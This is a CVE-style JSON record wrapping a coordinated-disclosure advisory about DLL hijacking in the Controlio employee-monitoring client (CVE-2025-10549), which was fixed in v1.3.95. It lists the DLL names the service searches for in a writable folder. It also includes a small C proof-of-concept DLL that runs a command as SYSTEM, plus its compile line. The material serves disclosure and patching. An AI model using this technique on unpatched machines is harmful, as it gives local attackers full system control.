Find a vulnerability

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SEC Consult SA-20260423-0",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260423-0 \u003e\n=======================================================================\n             title: DLL Hijacking\n           product: EfficientLab Controlio (cloud-based employee monitoring service)\nvulnerable version: \u003c1.3.95\n\u00a0 \u00a0 \u00a0fixed version: 1.3.95\n\u00a0 \u00a0 \u00a0 \u00a0 CVE number: CVE-2025-10549\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 impact: High\n          homepage:https://controlio.net\n             found: 2025-05-20\n                by: Tobias Niemann (Office Bochum)\n                    Daniel Hirschberger\n                    Thorger Jansen (Office Bochum)\n                    Marius Renner (Office Berlin)\n                    SEC Consult Vulnerability Lab\n\n                    An integrated part of SEC Consult, an Atos business\n                    Europe | Asia\n\n                    https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"Controlio is a web-based cloud system for employee surveillance on their work PCs that\nrun Windows or MAC. You can easily monitor web and application usage, and watch what\u2019s\nhappening on your staff screens live or on-demand. Check what they type, search on the\nWeb, what files they copy and much more.\nThe client app runs in stealth mode on a work computer, so your employees won\u2019t see\nadditional icons or processes. The system is free to try on three computers.\"\n\nSource:https://controlio.net/what_is_controlio.html\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the\nproduct conducted by security professionals to identify and resolve potential\nfurther security issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nA local attacker can exploit weak folder permissions in the Controlio\ninstallation directory to perform DLL hijacking attacks. As the service\nis running as NT Authority\\SYSTEM this allows a local attacker to execute\narbitrary code and commands as highly privileged user and bypass or disable\nthe monitoring solution.\n\n\nProof of concept:\n-----------------\n1) DLL Hijacking Vulnerability (CVE-2025-10549)\nControlio attempts to load multiple non-existing DLLs from the installation\ndirectory at C:\\ProgramData\\{UUID}\n\n\u003cprocmon.png\u003e\n\nThe full list of DLLs that are searched for in the install directory\nis listed below:\n--------------------------------------------------------------------------------\nversion.dll\nwtsapi32.dll\nnetapi32.dll\nwinhttp.dll\nshfolder.dll\nwsock32.dll\nNETUTILS.dll\nPowrProf.dll\ndbghelp.dll\ndbgcore.dll\nWER.dll\niphlpapi.dll\nSecur32.dll\nSSPICLI.dll\nWINSTA.dll\nolepro32.dll\nsecurity.dll\nFwpucInt.dll\nIdnDL.dll\nWldp.dll\nprofapi.dll\n--------------------------------------------------------------------------------\n\nWhile a local attacker cannot overwrite the service binaries themselves, the\ndefault permissions allow an attacker to create new files in the installation\ndirectory:\n\n\u003cservice_permissions.png\u003e\n\u003cinstall_dir_permissions.png\u003e\n\nAn attacker can use this to drop DLLs that execute arbitrary code when they\nare loaded when the Controlio service is started. For this proof of concept\nthe following WER.dll is dropped:\n\n--------------------------------------------------------------------------------\n#include \u003cwindows.h\u003e\nBOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){\n    if (dwReason == DLL_PROCESS_ATTACH){\n        system(\"whoami \u003e C:\\\\dll_hijack.txt\");\n        ExitProcess(0);\n    }\n    return TRUE;\n}\n\nx86_64-w64-mingw32-gcc windows_dll.c -shared -o WER.dll\n--------------------------------------------------------------------------------\n\nWhen the service is restarted, the DLL is loaded and the command is executed as\nNT Authority\\SYSTEM:\n\n\u003cexecuted.png\u003e\n\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* Controlio v1.3.0.60\n\nThe vendor provides a patched version v1.3.95, it is assumed that all previous\nversions are affected.\n\nVendor contact timeline:\n------------------------\n2025-07-09: Initial mail to the vendor (info () controlio net); no response\n2025-08-22: Sent reminder mail; no response.\n2025-09-16: Submitting support ticket viahttps://kb.controlio.net/hc/en-us/requests/new\n            Vendor assigns ticket #14957, support agent forwards request to relevant\n            department.\n            EfficientLab answers that there is a bug bounty page to submit security\n            advisories athttps://controlio.net/bug-bounty.html\n2025-09-17: Submitting advisory.\n2025-10-15: Vendor responds that although out of scope (client agent), they grant\n            a 250 USD bug bounty and have accepted it as medium priority.\n2025-10-16: Asking the vendor to donate the money to EFF to foster secure software\n            development, as well as asking for timeline regarding the fix.\n2025-10-16: Vendor will publish an update within the next 4 weeks, donation request\n            has been forwarded to relevant team for processing.\n2025-10-17: Confirming the postponement of the advisory release.\n2025-11-03: Asking for a status update, sending vendor reserved CVE number.\n2025-11-04: Vendor responds that the fix is in the roadmap, but there is no clear\n            timeline yet, they are hoping to fix it before end of the year.\n            Bounty was donated to EFF with transaction ID 9MX93585JU286433M.\n2025-11-05: Asking whether they need support or further information regarding the issue\n            and what changed regarding the timeline because the vendor provided a\n            timeline of 4 weeks mid October.\n2025-11-05: Vendor responds that due to internal overload, timeline has shifted.\n            No support needed.\n2026-02-09: Contacting vendor again, asking for patch status and setting advisory\n            release date to 25th February.\n2026-02-23: Vendor responds that fix is implemented in the client, but the final build\n            is on hold due to driver issues.\n2026-02-25: Asking about the new release timeline.\n2026-02-26: Fixed version should be released within two weeks.\n2026-03-26: Asking for a status update, no response.\n2026-04-14: Asking for a status update again. Vendor support contact has requested\n            another updated from their developers.\n2026-04-21: Vendor informs us that v1.3.95 has been released on 15th April.\n2026-04-23: Coordinated release of advisory.\n\n\nSolution:\n---------\nThe vendor provides a patch v1.3.95 which should be installed immediately.\n\nFor further details see their changelog knowledgebase:\nhttps://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95\n\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:https://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Tobias Niemann, Daniel Hirschberger, Thorger Jansen, Marius Renner / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/19"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://controlio.net"
        },
        {
          "url": "https://controlio.net/bug-bounty.html"
        },
        {
          "url": "https://controlio.net/what_is_controlio.html"
        },
        {
          "url": "https://kb.controlio.net/hc/en-us/articles/45777908471185-Client-Update-April-15-2026-ver-1-3-95"
        },
        {
          "url": "https://kb.controlio.net/hc/en-us/requests/new"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260423-0 :: DLL Hijacking in EfficientLab Controlio (cloud-based employee monitoring service)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-10549",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0246",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/19",
            "automated": true,
            "contentSha256": "3f6ac098f2a33f5a28e08303416a0fb7f9d6c5d4be5781a1c440e472f6281073",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-23T11:41:34Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0246"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0246"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}